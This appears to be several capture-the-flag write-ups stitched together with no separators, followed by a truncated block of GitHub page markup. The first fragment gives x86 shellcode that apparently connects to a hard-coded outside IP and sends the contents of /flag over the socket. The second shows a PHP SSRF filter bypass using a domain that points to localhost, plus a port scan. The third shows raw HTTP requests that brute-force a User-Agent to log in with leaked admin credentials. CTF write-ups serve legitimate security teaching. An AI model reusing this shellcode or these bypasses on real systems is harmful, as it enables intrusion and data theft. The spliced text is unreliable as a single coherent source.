"\x31\xc0\x31\xdb\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc1\xe9\x3c\x09\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\x31\xd2\x66\xb8\x4a\x01\xcd\x80\x41\x83\xf9\x02\x7e\xf4\xb8\x27\x01\x00\x00\x31\xdb\x53\x68\x66\x6c\x61\x67\x68\x2f\x2f\x2f\x2f\x89\xe1\x31\xd2\x31\xf6\xcd\x80\xbb\x04\x00\x00\x00\xb8\xb4\x00\x00\x00\x89\xe1\xba\xff\xff\xff\xff\x31\xf6\xcd\x80\xbb\x09\x00\x00\x00\x31\xc0\x50\x6a\xff\x51\x50\x89\xe1\xb8\x66\x00\x00\x00\xcd\x80"' | base64McAx2zHAMdtQagFqAonhswGwZs2AicYxyWjB6TwJZmgVs2ZqAonhahBRVonhsGazA82AifMxyTHSZrhKAc2AQYP5An70uCcBAAAx21NoZmxhZ2gvLy8vieEx0jH2zYC7BAAAALi0AAAAieG6/////zH2zYC7CQAAADHAUGr/UVCJ4bhmAAAAzYAK``` Reading arbitrary files: ![](https://unam.re/static/files/babysandbox_passwd.png) Executing arbitrary code and reading /flag (test has "\xb"): ![](https://unam.re/static/files/babysandbox_flag.png) (Yes, we read garbage from the stack too.. xD) Flag: ```MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect}``` Happy Hacking!!
# MeePwnTubeTLDR; It is SSRF and filter bypass. Also this is a fun challenge where you can listen to many "hot" singer from Vietnam. # The problemSource code already provided.## _ducnt.php```$res = mysqli_query($conn,"SELECT * FROM users WHERE username='$username' and password = '$hashpasswd'");// .. snip..$_current_avatar = $row['avatar_name'];// .. snip..$_parse_current_avatar = _curl($_current_avatar);$_parse_current_avatar = '<center></center>';``` ## curl.php```$data = curl_exec($ch);// .. snip..return base64_encode($data);``` This give you whole source of page. ## flag.phpThere is a note here.```echo '<center>Nice try dude but but wrong hole....</center>';``` Nice try dude but but wrong hole.... ## change_avatar.php```function rule_change_avatar($data){ $_parse = parse_url($data); if(!preg_match("/^http$/", $_parse['scheme'])) { die("<center>Error: 'HTTP only' dude!!</center>"); } Error: 'HTTP only' dude!! if(!preg_match("/meepwntube.0x1337.space$/", $_parse['host'])) { die("<center>Error: Our 'space' only dude!!</center>"); } Error: Our 'space' only dude!! //super miniwaf prevent scanning internal if(preg_match("/127|192|172|000|0.0|fff|0x0|0x7f|0177|2130706433|\]|\[/", $_parse['host'])) { die("<center>Error: Oops script kiddie detected!!</center>"); } $_domain = $_parse['scheme']."://".$_parse['host'].":".$_parse['port'].$_parse['path']; return $_domain;}$_name = miniwaf(rule_change_avatar($_POST['change_avatar']));// .. snip ..$update_avatar = mysqli_query($conn,"UPDATE users SET avatar_name = '$_name' WHERE username='$username'");``` Error: Oops script kiddie detected!! As you can see, `rule_change_avatar` make sense, but there is a hole in there, `/meepwntube.0x1337.space$/` actually is a failed regex (not properly escaped), which is I can bypass. ### The chain is:- change_avatar.php: update `avatar url`- \_ducnt.php : _curl - source# PoCSo I quickly register a new domain "meepwntubex0x1337.space", then point an A record to "127.0.0.1".I only try on main site, not bak.meepwn.. . because it has an other regex check :doge: Function `rule_change_avatar` also allow custom `port`, then, scanning whole port from 1 to 10000, I got flag at (I should guess it first :D) (not this domain) http://random.meepwntubex0x1337.space:1337/flag.php ```1335 1336 1337 Hey dude how can you get here???: BTW here is your flag: MeePwnCTF{******_gr8_again?????}1338 1339 ```
Sbva----> We offer extensive website protection that stops attackers even when the admin's credentials are leaked!> Try our demo page http://0da57cd5.quals2018.oooverflow.io with username:password [email protected]:admin to see for yourself. On login we are redirected to `/wrongbrowser.php`, but some HTML is leaked anyway:```htmlHTTP/1.1 302 FoundServer: nginx/1.10.3 (Ubuntu)Date: Mon, 14 May 2018 12:51:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Security-Policy: upgrade-insecure-requestsLocation: wrongbrowser.phpContent-Length: 259 <html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>``` Seems like the login page requires a specific User-Agent to confirm the login: should `navigator.battery.charging` JavaScript API be supported? [Mozilla Documentation](https://developer.mozilla.org/it/docs/Web/API/Navigator/battery) states that it is now obsolete and that support for the API has been removed in Firefox 50 in favor of `navigator.getBattery()`. By bruteforcing the version component of the stock Firefox User-Agent header we can confirm that version 42 is the right one and the flag is printed: Request```htmlPOST /login.php HTTP/1.1Host: 0da57cd5.quals2018.oooverflow.ioUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:42.0) Gecko/20100101 Firefox/42.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://0da57cd5.quals2018.oooverflow.io/login.htmlContent-Type: application/x-www-form-urlencodedContent-Length: 45Cookie: PHPSESSID=bqn0ut2np2gr7hplkuv4dph4o4Connection: closeUpgrade-Insecure-Requests: 1 username=admin%40oooverflow.io&password=admin``` Response```htmlHTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Mon, 14 May 2018 12:58:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Security-Policy: upgrade-insecure-requestsContent-Length: 291 OOO{0ld@dm1nbr0wser1sth30nlyw@y}<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>``` Flag: `OOO{0ld@dm1nbr0wser1sth30nlyw@y}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf/2018/MeePwn/one_shot at master · sixstars/ctf · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A542:B9C6:AA45EB2:AEB9788:64122640" data-pjax-transient="true"/><meta name="html-safe-nonce" content="638740455d2a4a39f8626c7f23d19e8b6ba88a62210a41df93128314757605d7" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBNTQyOkI5QzY6QUE0NUVCMjpBRUI5Nzg4OjY0MTIyNjQwIiwidmlzaXRvcl9pZCI6IjgyNzc3NDMwMzYwNzI5MTUyIiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="1ab0e30fa7cc96541f11a17adc7923d1f22aaa5c119ef3edb808a7e2feeb2676" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:36729936" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="A writeup summary for CTF competitions, problems. Contribute to sixstars/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/19d2e3b637330d70b6329091e5f2a529729e79a124120bbcc0e9b13d6d6748f6/sixstars/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/2018/MeePwn/one_shot at master · sixstars/ctf" /><meta name="twitter:description" content="A writeup summary for CTF competitions, problems. Contribute to sixstars/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/19d2e3b637330d70b6329091e5f2a529729e79a124120bbcc0e9b13d6d6748f6/sixstars/ctf" /><meta property="og:image:alt" content="A writeup summary for CTF competitions, problems. Contribute to sixstars/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/2018/MeePwn/one_shot at master · sixstars/ctf" /><meta property="og:url" content="https://github.com/sixstars/ctf" /><meta property="og:description" content="A writeup summary for CTF competitions, problems. Contribute to sixstars/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/sixstars/ctf git https://github.com/sixstars/ctf.git"> <meta name="octolytics-dimension-user_id" content="14233931" /><meta name="octolytics-dimension-user_login" content="sixstars" /><meta name="octolytics-dimension-repository_id" content="36729936" /><meta name="octolytics-dimension-repository_nwo" content="sixstars/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="36729936" /><meta name="octolytics-dimension-repository_network_root_nwo" content="sixstars/ctf" /> <link rel="canonical" href="https://github.com/sixstars/ctf/tree/master/2018/MeePwn/one_shot" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 